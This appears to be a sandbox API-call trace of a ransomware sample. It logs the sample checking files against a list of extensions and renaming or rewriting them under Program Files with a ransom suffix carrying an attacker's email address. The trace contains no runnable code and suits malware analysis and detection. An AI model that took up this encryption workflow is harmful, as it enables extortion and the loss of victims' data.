	[0160.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.968] lstrlenW (lpString=".dbf") returned 4
	[0160.968] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0160.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.968] lstrlenW (lpString=".1cd") returned 4
	[0160.968] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0160.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66
	[0160.968] lstrlenW (lpString=".jpg") returned 4
	[0160.968] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0160.968] Sleep (dwMilliseconds=0x64) 
	[0161.095] Sleep (dwMilliseconds=0x64) 
	[0161.340] Sleep (dwMilliseconds=0x64) 
	[0161.559] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0161.559] lstrlenW (lpString="insertbase.xml") returned 14
	[0161.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.560] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=903) returned 1
	[0161.560] CloseHandle (hObject=0x39c) returned 1
	[0161.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20
	[0161.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.561] lstrlenW (lpString=".doc") returned 4
	[0161.561] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.561] lstrlenW (lpString=".docx") returned 5
	[0161.561] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0161.561] lstrlenW (lpString=".pdf") returned 4
	[0161.561] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.561] lstrlenW (lpString=".xls") returned 4
	[0161.561] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.561] lstrlenW (lpString=".xlsx") returned 5
	[0161.561] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0161.561] lstrlenW (lpString=".ppt") returned 4
	[0161.561] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.561] lstrlenW (lpString=".zip") returned 4
	[0161.561] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.562] lstrlenW (lpString=".rar") returned 4
	[0161.562] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString=".bz2") returned 4
	[0161.562] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString=".7z") returned 3
	[0161.562] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.562] lstrlenW (lpString=".dbf") returned 4
	[0161.562] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.562] lstrlenW (lpString=".1cd") returned 4
	[0161.562] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.562] lstrlenW (lpString=".jpg") returned 4
	[0161.562] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.562] lstrlenW (lpString=".doc") returned 4
	[0161.562] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString=".docx") returned 5
	[0161.562] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0161.562] lstrlenW (lpString=".pdf") returned 4
	[0161.562] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString=".xls") returned 4
	[0161.562] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.562] lstrlenW (lpString=".xlsx") returned 5
	[0161.562] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0161.562] lstrlenW (lpString=".ppt") returned 4
	[0161.563] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.563] lstrlenW (lpString=".zip") returned 4
	[0161.563] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.563] lstrlenW (lpString=".rar") returned 4
	[0161.563] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.563] lstrlenW (lpString=".bz2") returned 4
	[0161.563] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.563] lstrlenW (lpString=".7z") returned 3
	[0161.563] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.563] lstrlenW (lpString=".dbf") returned 4
	[0161.563] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.563] lstrlenW (lpString=".1cd") returned 4
	[0161.563] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86
	[0161.563] lstrlenW (lpString=".jpg") returned 4
	[0161.563] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.563] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0161.563] lstrlenW (lpString="ea.xml") returned 6
	[0161.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.565] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=384) returned 1
	[0161.565] CloseHandle (hObject=0x39c) returned 1
	[0161.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20
	[0161.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.565] lstrlenW (lpString=".doc") returned 4
	[0161.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.565] lstrlenW (lpString=".docx") returned 5
	[0161.565] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0161.565] lstrlenW (lpString=".pdf") returned 4
	[0161.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.565] lstrlenW (lpString=".xls") returned 4
	[0161.605] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.605] lstrlenW (lpString=".xlsx") returned 5
	[0161.605] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0161.605] lstrlenW (lpString=".ppt") returned 4
	[0161.605] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.605] lstrlenW (lpString=".zip") returned 4
	[0161.605] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.606] lstrlenW (lpString=".rar") returned 4
	[0161.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString=".bz2") returned 4
	[0161.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString=".7z") returned 3
	[0161.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.606] lstrlenW (lpString=".dbf") returned 4
	[0161.606] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.606] lstrlenW (lpString=".1cd") returned 4
	[0161.606] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.606] lstrlenW (lpString=".jpg") returned 4
	[0161.606] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.606] lstrlenW (lpString=".doc") returned 4
	[0161.606] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString=".docx") returned 5
	[0161.606] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0161.606] lstrlenW (lpString=".pdf") returned 4
	[0161.606] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString=".xls") returned 4
	[0161.606] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString=".xlsx") returned 5
	[0161.606] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0161.606] lstrlenW (lpString=".ppt") returned 4
	[0161.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.606] lstrlenW (lpString=".zip") returned 4
	[0161.606] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.606] lstrlenW (lpString=".rar") returned 4
	[0161.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.606] lstrlenW (lpString=".bz2") returned 4
	[0161.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.607] lstrlenW (lpString=".7z") returned 3
	[0161.607] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.607] lstrlenW (lpString=".dbf") returned 4
	[0161.607] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.607] lstrlenW (lpString=".1cd") returned 4
	[0161.607] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78
	[0161.607] lstrlenW (lpString=".jpg") returned 4
	[0161.607] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.607] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0161.607] lstrlenW (lpString="keypadbase.xml") returned 14
	[0161.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.609] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=903) returned 1
	[0161.609] CloseHandle (hObject=0x39c) returned 1
	[0161.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20
	[0161.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.609] lstrlenW (lpString=".doc") returned 4
	[0161.609] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.609] lstrlenW (lpString=".docx") returned 5
	[0161.609] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0161.610] lstrlenW (lpString=".pdf") returned 4
	[0161.610] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString=".xls") returned 4
	[0161.610] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString=".xlsx") returned 5
	[0161.610] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0161.610] lstrlenW (lpString=".ppt") returned 4
	[0161.610] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.610] lstrlenW (lpString=".zip") returned 4
	[0161.610] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.610] lstrlenW (lpString=".rar") returned 4
	[0161.610] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString=".bz2") returned 4
	[0161.610] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString=".7z") returned 3
	[0161.610] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.610] lstrlenW (lpString=".dbf") returned 4
	[0161.610] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.610] lstrlenW (lpString=".1cd") returned 4
	[0161.610] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.610] lstrlenW (lpString=".jpg") returned 4
	[0161.610] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.610] lstrlenW (lpString=".doc") returned 4
	[0161.610] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString=".docx") returned 5
	[0161.610] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0161.610] lstrlenW (lpString=".pdf") returned 4
	[0161.610] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.610] lstrlenW (lpString=".xls") returned 4
	[0161.610] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.611] lstrlenW (lpString=".xlsx") returned 5
	[0161.611] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0161.611] lstrlenW (lpString=".ppt") returned 4
	[0161.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.611] lstrlenW (lpString=".zip") returned 4
	[0161.611] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.611] lstrlenW (lpString=".rar") returned 4
	[0161.611] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.611] lstrlenW (lpString=".bz2") returned 4
	[0161.611] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.611] lstrlenW (lpString=".7z") returned 3
	[0161.611] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.611] lstrlenW (lpString=".dbf") returned 4
	[0161.611] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.611] lstrlenW (lpString=".1cd") returned 4
	[0161.611] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86
	[0161.611] lstrlenW (lpString=".jpg") returned 4
	[0161.611] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.611] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0161.611] lstrlenW (lpString="kor-kor.xml") returned 11
	[0161.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.612] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=392) returned 1
	[0161.613] CloseHandle (hObject=0x39c) returned 1
	[0161.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20
	[0161.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0161.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0161.613] lstrlenW (lpString=".doc") returned 4
	[0161.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.613] lstrlenW (lpString=".docx") returned 5
	[0161.613] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0161.613] lstrlenW (lpString=".pdf") returned 4
	[0161.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.613] lstrlenW (lpString=".xls") returned 4
	[0161.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.613] lstrlenW (lpString=".xlsx") returned 5
	[0161.613] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0161.613] lstrlenW (lpString=".ppt") returned 4
	[0161.613] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0161.613] lstrlenW (lpString=".zip") returned 4
	[0161.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.613] lstrlenW (lpString=".rar") returned 4
	[0161.613] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.613] lstrlenW (lpString=".bz2") returned 4
	[0161.613] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.613] lstrlenW (lpString=".7z") returned 3
	[0161.613] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0161.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0161.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0163.456] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=11694) returned 1
	[0163.456] CloseHandle (hObject=0x458) returned 1
	[0163.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220
	[0163.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0163.457] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.457] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0163.462] GetLastError () returned 0x0
	[0163.462] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0163.492] WriteFile (in: hFile=0x454, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0163.493] ReadFile (in: hFile=0x458, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
